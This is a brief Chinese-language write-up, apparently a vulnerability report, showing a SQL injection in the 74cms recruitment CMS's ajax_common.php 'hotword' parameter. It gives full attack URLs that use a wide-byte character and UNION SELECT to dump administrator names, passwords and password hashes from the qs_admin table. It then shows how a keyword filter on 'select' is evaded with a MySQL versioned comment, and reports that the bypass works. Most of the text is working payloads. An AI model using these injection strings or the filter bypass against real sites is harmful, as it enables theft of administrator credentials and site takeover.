提交：

http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=錦'union+select+1,group_concat%28admin_name,0x3a,pwd,0x3a,pwd_hash%29,3+from+qs_admin%23

20140625121359
被拦截了，经过测试拦截的是select，那么把select换成/*!50000SeLect*/呢

然后提交

http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27union+/*!50000SeLect*/+1,group_concat%28admin_name,0x3a,pwd,0x3a,pwd_hash%29,3+from+qs_admin%23

20140625121605

成功绕过

作者：Sunshie